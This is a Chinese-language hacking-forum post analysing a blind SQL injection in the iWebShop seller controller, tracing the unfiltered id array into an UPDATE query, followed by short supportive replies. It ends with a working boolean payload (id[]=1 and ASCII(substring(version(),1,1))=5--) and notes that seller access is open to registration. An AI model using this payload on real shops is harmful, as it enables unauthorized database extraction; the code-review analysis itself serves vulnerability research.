iwebshop Blind injection(一弹)

90_

作者：Joseph

漏洞文件:\controllers\seller.php

[PHP] 纯文本查看 复制代码

public function goods_status()
        {
            $id        = IFilter::act(IReq::get('id'));
                $is_del    = IFilter::act(IReq::get('is_del'),'int');
                $is_del    = $is_del === 0 ? 3 : $is_del; //不能等于0直接上架
                $seller_id = $this->seller['seller_id'];
 
                $goodsDB = new IModel('goods');
                $goodsDB->setData(array('is_del' => $is_del));
 
            if($id)
                {
                        if(is_array($id))
                        {
                                foreach($id as $key => $val)
                                {
                                        $goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
                                }
                        }
                        else
                        {
                                $goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
                        }
                }
                $this->redirect("goods_list");
        }

这里先用get函数获取我们的参数值,这里可以看见id参数没有声明类型，那说明我们可以控制,但后面又进入了一个act函数,跟入看下

[PHP] 纯文本查看 复制代码

public static function act($str,$type = 'string',$limitLen = false)
        {
                if(is_array($str))
                {
                        foreach($str as $key => $val)
                        {
                                $resultStr[$key] = self::act($val, $type, $limitLen);
                        }
                        return $resultStr;
                }
                else
                {
                        switch($type)
                        {
                                case "int":
                                        return intval($str);
                                        break;
 
                                case "float":
                                        return floatval($str);
                                        break;
 
                                case "text":
                                        return self::text($str,$limitLen);
                                        break;
 
                                case "bool":
                                        return (bool)$str;
                                        break;
 
                                case "url":
                                        return self::clearUrl($str);
                                        break;
 
                                case "filename":
                                        return self::fileName($str);
                                        break;
 
                                default:
                                        return self::string($str,$limitLen);
                                        break;
                        }
                }
        }

简单的根据传入参数声明特定的类型进行特定的函数,若未声明进入自定义string过滤函数,看下过滤了什么

[PHP] 纯文本查看 复制代码

*/
       public static function string($str,$limitLen = false)
       {
               $str = trim($str);
               $str = self::limitLen($str,$limitLen);
               $str = htmlspecialchars($str,ENT_NOQUOTES);
               return self::addSlash($str);
       }

可以看见无非就是一些正常的函数过滤，也就是神马单引号加转义咯,
但我们回到原本漏洞函数中看一下

[PHP] 纯文本查看 复制代码

$goodsDB->update("id = ".$val." and seller_id = ".$seller_id);

很明显的注入,由id遍历出的值val只简单的进行了链接传入update而已
那我们跟进update看下

[PHP] 纯文本查看 复制代码

*/
       public function update($where,$except=array())
       {
               echo $where;
               $except = is_array($except) ? $except : array($except);
 
               //获取更新数据
               $tableObj  = $this->tableData;
               $updateStr = '';
               $where     = (strtolower($where) == 'all') ? '' : ' WHERE '.$where;
 
               foreach($tableObj as $key => $val)
               {
                       if($updateStr != '') $updateStr.=' , ';
                       if(!in_array($key,$except))
                               $updateStr.= '`'.$key.'` = \''.$val.'\'';
                       else
                               $updateStr.= '`'.$key.'` = '.$val;
               }
               $sql = 'UPDATE '.$this->tableName.' SET '.$updateStr.$where;
               return $this->db->query($sql);
       }

看完没有任何的过滤,那么到本地的站上去demo一下

我们得先添加一个商品,我这里已经添加了

点击下架,用burp抓包

漏洞参数为post中的id参数,因为代码把错误屏蔽了，所以这个就只能盲注。我们可以fuzzing一下

为了大家更好看到语句,我把执行输出了,这里可以看见我截取了版本的第一位是否为4，这里我的mysql版本肯定是5的，所以也就是错误的。

可以看见这里还是待审,所以语句执行为假

这里我把第一位改为了5,那么就是真咯


可以看见商品成功下架

[AppleScript] 纯文本查看 复制代码

payload:id[]=1 and ASCII(substring(version(),1,1))=5--

自己修改咯
备注:这里是商铺权限,但可以注册的

Bi1l

加油 顶你哦。

cl476874045

小龙

支持，看起来不错呢！

admin1964

感谢楼主的分享~

若冰

学习学习技术，加油！

54hacker

支持中国红客联盟(ihonker.org)

arctic

支持中国红客联盟(ihonker.org)

小路

支持，看起来不错呢！

fireworld

感谢楼主的分享~